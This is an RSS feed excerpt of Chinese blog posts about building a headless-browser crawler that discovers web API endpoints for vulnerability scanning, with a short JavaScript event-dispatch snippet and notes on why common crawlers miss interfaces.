14px;">眼看我的1分钱又被烧掉了，无比心疼！好处是：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">它打通了所有割裂的系统和数据。 在Langgraph超级节点中并发查询，1分钟查完10个系统</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">60行，只要60行，一个Agent就创造出来了。 100% 的查询由LLM 来生成。我定义函数了吗？ 定义参数了么？没有。 你给我搞什么MCP/tool call，LLM自己就能理解DB和schema</span></span></p></li></ul><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">你甚至还没有教LLM如何办事，它已经会deep thinking了。我没有通过提示词技术教它办事，处理复杂任务。</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">只要当前上下文还在，基于此状态，有什么需求，都是一句话的事情（调格式？发通知？生成报表？扩展调查？一键？）</span></span></p><p><span leaf=""><br/></span></p></li></ul><p><span leaf=""><span textstyle="" style="font-size: 14px;">只要钱到位了，好办事。 1分钱巨款，我平时省着点吃，还是省得出来的。</span></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483789">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=83430d51&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483789%26idx%3D1%26sn%3D5fd5f7c704070f3421072411c65b9f7f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 Aug 2025 19:07:00 +0800</pubDate>
    </item>
    <item>
      <title>API接口深度发现的动态爬虫实现5 - API贪心发现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483775&amp;idx=1&amp;sn=b7e95f51251af00dfe8b385b9e03cac3</link>
      <description>目前，各大SRC接收的漏洞中，API接口漏洞占比极高。本篇首先介绍白帽子常用爬虫的API接口发现能力评测</description>
      <content:encoded><![CDATA[<p>
原创 <span>扫到漏洞的</span> <span>2025-05-23 12:48</span> <span style="display: inline-block;">北京</span>
</p>

<p>目前，各大SRC接收的漏洞中，API接口漏洞占比极高。本篇首先介绍白帽子常用爬虫的API接口发现能力评测</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1b184515&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9mibeImaiaMib6oX3uAA7fgqgLcibfibiaHAgBSgAGy7fmq8B0ribcb2tbmcd0XkpAicnkgE90gIsLV1gpRtw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-pm-slice="0 0 []"><div><div><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">API爬虫的复杂度到底在哪里？</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">某种程度上，笔者认为，是对API接口的贪心，不肯放过任何一个新出现的modal / dialog，不肯放过任何一个可能的交互请求。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">笔者尝试了大量方法，试图能够将所有的页面交互顺利走通，尽可能少产生API的遗漏</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">方法1：触发执行页面上已绑定的所有事件函数</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">方法2：</span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">解决多数爬虫发现不了API的关键问题，持续检查页面上是否有新的事件绑定，将剩余的函数也继续触发执行</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">方法3：自动填充表单并提交，这是基本方法</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">方法4：</span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">通过CSS找出页面上所有的pointer指针的元素，再次对其进行交互点击，避免上述2步产生的少量遗漏。</span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);"> </span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-weight: bold;">前2步会漏么？ 答案是会</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">Pointer指针如下图所示，笔者把鼠标悬停在微信公众号网页中的不同位置，就能找到哪些区域是可以点击交互的，这些区域都是pointer指针</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000123" class="rich_pages wxw-img" data-ratio="0.37925445705024313" data-s="300,640" data-type="png" data-w="617" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=89f5cd9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mibeImaiaMib6oX3uAA7fgqgLFwc0k4dWv8iagesLFhUIgicV5KyqyemP2iaftXJ1bvEbicpIXxE9hUJOHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000124" data-ratio="0.21227621483375958" data-s="300,640" type="block" data-type="png" data-w="782" src="https://wechat2rss.xlab.app/img-proxy/?k=2e934144&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mibeImaiaMib6oX3uAA7fgqgLFhV3x5aEgrqClLRV2S2rFZWjab651XCmRFqOGQk4uwarXf9gVOgdwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">方法5：监视弹出来的dialog/modal，在该对话框中继续交互尝试发现API</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">方法6：通过正则方式从JS中提取API接口、拼接API接口，使用字典进行接口fuzz</span></span></p></li></ul><p><span leaf=""><span textstyle="" style="font-size: 14px;">笔者观测到一般工具扫不到接口，常见的原因：</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">1) </span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">API Base URL错误</span><span textstyle="" style="font-size: 14px;">，没有能力正确提取到Base URL</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">2) </span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">Auth Header缺失</span><span textstyle="" style="font-size: 14px;">，没有能力提取到正确的auther header用于接口请求</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">3）Cookie/ Referer错误等</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">4）无法进行复杂交互，甚至根本没有headless chrome</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">5）地狱级难度的参数分析获取，绝大部分工具观察到没有对应的能力</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">为了解决API参数的这个问题，笔者对Javascript静态分析和分片动态执行做了一些尝试</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">，有一定进展，但也仅限于在1-2层调用下，写法较简单的情形，有概率提取成功。实际上因为打包、封装、继承等原因，函数的调用乱到我无力分析追踪。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">肯定有人要扯淡，说大模型在这个分析场景下很牛啊，我想说的是，一个大的JS就是几十万token输入，它最后它能帮你识别出很少几个API接口，还要让你等几十秒，接口数只是个零头，参数也不全部准确。 丢整个JS给大模型分析提取API接口的用法，紧急的状况、token能免费消耗的，可以考虑。 </span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">第一眼看，真惊艳，丢个几百kb的JS，很快就分析出来了。 仔细一对账，垃圾，又错又少。</span></span></p></div></div></div><p style="font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;background-color: rgb(149, 185, 238);min-width: 5%;flex: 0 0 auto;height: auto;text-align: center;color: rgb(255, 255, 255);-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="0 0 []"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);font-weight: bold;">  写本地文件减少HTTP请求  </span></span></p><p style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">笔者尝试尽可能地去重，减少重复HTTP请求。但因为JS事件的传播机制，同一个事件会在多个父子元素之间重复执行。</span></span></p><p style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">笔者的方法，是根据URL+参数进行本地存储，仅第一次请求会产生服务器请求。其余请求则从本地文件读取后返回给浏览器。加速页面上的交互执行。</span></span></p><p style="margin-top:8px;margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">已存储的JS + API 响应包，则可以用于扫描分析。</span></span></p><p style="font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;background-color: rgb(149, 185, 238);min-width: 5%;flex: 0 0 auto;height: auto;text-align: center;color: rgb(255, 255, 255);-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline-block; vertical-align: top; width: auto; background-color: rgb(149, 185, 238); min-width: 5%; flex: 0 0 auto; height: auto; text-align: center; color: rgb(255, 255, 255); -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; outline: 0px; max-width: 100%; box-sizing: border-box; clear: both; min-height: 1em; visibility: visible; overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);font-weight: bold;">  不放过任何一个对话框  </span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">不放过modal框就是不放过可能的API接口。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">很多时候我在写代码的时候，纠结的是要不要等（也即sleep/ wait）？</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">不等，怕错过。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">等，扫描太慢了！</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">等多久？10ms ? 20ms？ 100ms? 甚至1s?</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在触发执行的时候可以不等，一股脑全丢过去触发了。 </span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">但一旦在这个过程中监视到了dialog，必须有基本的机制能回溯到这个dialog并对其进行深度交互。</span></span></p><p style="font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline-block;vertical-align: top;width: auto;background-color: rgb(149, 185, 238);min-width: 5%;flex: 0 0 auto;height: auto;text-align: center;color: rgb(255, 255, 255);-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;visibility: visible;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 18px;background-color: rgb(0, 82, 255);font-weight: bold;">最后</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">工具还没开源，扯了半天。 总之，程序的事情，要以效果说话。 </span></span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">No more speech, show me the code</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=45eed21a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mibeImaiaMib6oX3uAA7fgqgLFwc0k4dWv8iagesLFhUIgicV5KyqyemP2iaftXJ1bvEbicpIXxE9hUJOHQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4f8cfbd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9mibeImaiaMib6oX3uAA7fgqgLFhV3x5aEgrqClLRV2S2rFZWjab651XCmRFqOGQk4uwarXf9gVOgdwg%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483775">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d93e6d3a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483775%26idx%3D1%26sn%3Db7e95f51251af00dfe8b385b9e03cac3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 23 May 2025 12:48:00 +0800</pubDate>
    </item>
    <item>
      <title>API接口深度发现的动态爬虫实现(4. 接口遗漏缺陷分析）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483769&amp;idx=1&amp;sn=18b1cf676a3277411237ce3b11e544ad</link>
      <description>本篇总结了常见动态爬虫收集不全API接口的原因。</description>
      <content:encoded><![CDATA[<p>
原创 <span>扫到漏洞的</span> <span>2025-05-12 16:48</span> <span style="display: inline-block;">北京</span>
</p>

<p>本篇总结了常见动态爬虫收集不全API接口的原因。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1ff65881&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9npyudu5BKumDg1KGVia5EoSQxBicUUjdr164w6lXKBxlJnjvdT5ic0oFBPxib26Hbn8S47VLZpuAU8ibQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="font-size: 14px;">API接口对于现代Web漏扫至关重要，有时候，1-2个隐蔽接口，就能决定扫描任务的成败。笔者做了大量实验，想要定位清楚，是什么原因导致crawlergo radium项目产生API接口</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="font-size: 14px;">遗漏问题。</span></span></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;">  事件函数的</span><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;">触发执行   </span></span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">加载完成一个Web页面之后，程序需要自动化触发，执行该页面上绑定的所有事件函数。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">CrawlerGo是通过override </span><span textstyle="" style="font-weight: bold;">Element</span></span><span leaf=""><span textstyle="" style="font-weight: bold;">.</span></span><span style="color:#c77dbb;"><span leaf=""><span textstyle="" style="font-weight: bold;">prototype</span></span></span><span leaf=""><span textstyle="" style="font-weight: bold;">.</span></span><span style="color:#56a8f5;"><span leaf=""><span textstyle="" style="font-weight: bold;">addEventListener</span> </span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">方法，来收集全部的DOM事件。收集完成后，再统一地触发执行，相关代码如下</span></span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><p><span leaf=""><span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">let</span> node <span class="code-snippet__keyword">of</span> nodes) {</span></p><p><span leaf="">    <span class="code-snippet__keyword">let</span> loop = <span class="code-snippet__number">0</span>;</span></p><p><span leaf="">    <span class="code-snippet__keyword">let</span> event_name_list = node.<span class="code-snippet__title">getAttribute</span>(<span class="code-snippet__string">&#34;sec_auto_dom2_event_flag&#34;</span>).<span class="code-snippet__title">split</span>(<span class="code-snippet__string">&#34;|&#34;</span>);</span></p><p><span leaf="">    <span class="code-snippet__keyword">let</span> event_name_set = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">Set</span>(event_name_list);</span></p><p><span leaf="">    event_name_list = [...event_name_set];</span></p><p><span leaf="">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">let</span> event_name <span class="code-snippet__keyword">of</span> event_name_list) {</span></p><p><span leaf="">        <span class="code-snippet__keyword">let</span> evt = <span class="code-snippet__variable">document</span>.<span class="code-snippet__title">createEvent</span>(<span class="code-snippet__string">&#39;CustomEvent&#39;</span>);</span></p><p><span leaf="">        evt.<span class="code-snippet__title">initCustomEvent</span>(event_name, <span class="code-snippet__literal">true</span>, <span class="code-snippet__literal">true</span>, <span class="code-snippet__literal">null</span>);</span></p><p><span leaf="">        <span class="code-snippet__keyword">if</span> (event_name == <span class="code-snippet__string">&#34;click&#34;</span> || event_name == <span class="code-snippet__string">&#34;focus&#34;</span> || event_name == <span class="code-snippet__string">&#34;mouseover&#34;</span> || event_name == <span class="code-snippet__string">&#34;select&#34;</span>) {</span></p><p><span leaf="">            <span class="code-snippet__title">transmit_child</span>(node, evt, loop);</span></p><p><span leaf="">        }</span></p><p><span leaf="">        <span class="code-snippet__keyword">if</span> ((node.<span class="code-snippet__property">className</span> &amp;&amp; node.<span class="code-snippet__property">className</span>.<span class="code-snippet__title">includes</span>(<span class="code-snippet__string">&#34;close&#34;</span>)) || (node.<span class="code-snippet__property">id</span> &amp;&amp; node.<span class="code-snippet__property">id</span>.<span class="code-snippet__title">includes</span>(<span class="code-snippet__string">&#34;close&#34;</span>))) {</span></p><p><span leaf="">            <span class="code-snippet__keyword">continue</span>;</span></p><p><span leaf="">        }</span></p><p><span leaf="">        <span class="code-snippet__keyword">try</span> {</span></p><p><span leaf="">            node.<span class="code-snippet__title">dispatchEvent</span>(evt);</span></p><p><span leaf="">        } <span class="code-snippet__keyword">catch</span> (e) {}</span></p><p><span leaf="">    }</span></p><p><span leaf="">}</span></p></pre></p><p style="margin-bottom: 8px;"><span style="color:#56a8f5;"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">经笔者测试，</span><span textstyle="" style="font-size: 14px;font-weight: bold;">在一个for循环中不停</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">node.dispatchEvent，</span></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 